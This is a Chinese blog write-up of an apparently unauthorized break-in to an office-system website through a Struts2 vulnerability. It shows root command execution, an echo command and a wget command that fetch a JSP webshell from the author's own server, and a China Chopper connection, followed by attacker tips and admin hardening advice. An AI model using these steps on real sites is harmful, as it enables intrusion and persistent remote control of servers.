Featured image of post 记一次 Struts2 另类方法传 shell 的渗透

记一次 Struts2 另类方法传 shell 的渗透

本人渗透小白,文笔也欠缺,有些地方大牛们可能会觉得很可笑,请谅解~~ 【过程】 帮吧友搞一个网站,蜘蛛爬到了一个“办公系统”,如图: 看到没有验证码的登录窗口,第一反应是测试万能密码,测试宽字节注入,未果。放到 burp 里用弱口令字...

本人渗透小白,文笔也欠缺,有些地方大牛们可能会觉得很可笑,请谅解~~

【过程】

帮吧友搞一个网站,蜘蛛爬到了一个“办公系统”,如图:

看到没有验证码的登录窗口,第一反应是测试万能密码,测试宽字节注入,未果。放到 burp 里用弱口令字典爆破。

好长时间过去,没有什么结果。突然注意到地址栏,结尾是.action,脑子里马上想到 struts2 的漏洞。怀着侥幸的心理把网址放到工具里检测。

(截图是搞完之后截的)

哈哈哈,检测显示有这个漏洞,那么就好办了。马上执行了 whoami 看看权限。

居然是 root 权限!!管理员太不注意安全了吧。

经过测试我发现在/office/目录下,由于没有登录,输入任意地址都会直接跳转到登录页面,反正这个特性我不了解。经过 ls,我看到 webapps 目录下有几个其他站点,姑且拿其中一个来传一句话。

我测试用工具上传一句话。发现不论怎么上传,ls 之后目录下总是没有一句话的文件,试过了好几个工具依然如此。我想可能上传有问题吧,不过既然是 root 权限,于是就尝试用 echo 指令输出一句话

命令:echo “一句话代码” > c.jsp

命令是运行完了,回显也看到了,但 ls 后仍然没有我们的一句话文件。太奇怪了,难道是禁用了这些命令(小白乱猜)?

曾子曰:“不能吊死在一棵老歪脖子树上”(曾子:我什么时候说过…),这时候我想到了 linux 还有一个 wget 命令,可以远程下载文件到服务器上。或许我们可以借 wget 的东风?

我在我的 php 空间里上传了 jsp 一句话,由于我的空间是 php 的,所以 jsp 格式的文件不会被解析,从而可以直接下载。

运行命令:wget http://xx.xxx.xx/c.jsp -P /xx/xx/xx/ #wget 里-P 可以指定路径

运行完命令再 ls 一下,一句话文件终于出现了!直接访问一句话,出现 500,不过这很正常,菜刀依然是可以连接的。赶紧拿菜刀试一下。

可以连接,可以执行 cmd,权限依然是 root。至此就不再深入了。

【总结&反思】

那我这个小白就学大牛们来个总结与反思吧。

对于渗透来说

1.学会以宏观的视角看一个网站,看到 form 就想到爆破的思想不正确。

2.试想如果我们不知道 struts2 漏洞,那么也不会有接下来的成功。所以要多读报,多读书对吧。一些 cms 同理,大部分漏洞在网上已经公开了,可根据关键点到百度或者谷歌上搜 exp 啥的。

3.如果一种方法不成功要用其他办法多试几次。其实也就是说平时要积累经验,熟悉一些 linux 语句很重要。

对于服务器管理来说

1.上面的服务器这种居然用目录来存放不同的站点实在不安全,当一个网站被 K 了其他的站不是也要遭殃?最好不同的站用不同的端口。

2.权限一定要认真设置。用 root 权限运行 web 服务很危险,这个是大家都知道的。还有就是要防止跨站。

3.作为管理员应该要多多关注自己所用程序的漏洞的情报,及时打上补丁。

Licensed under CC BY-NC-SA 4.0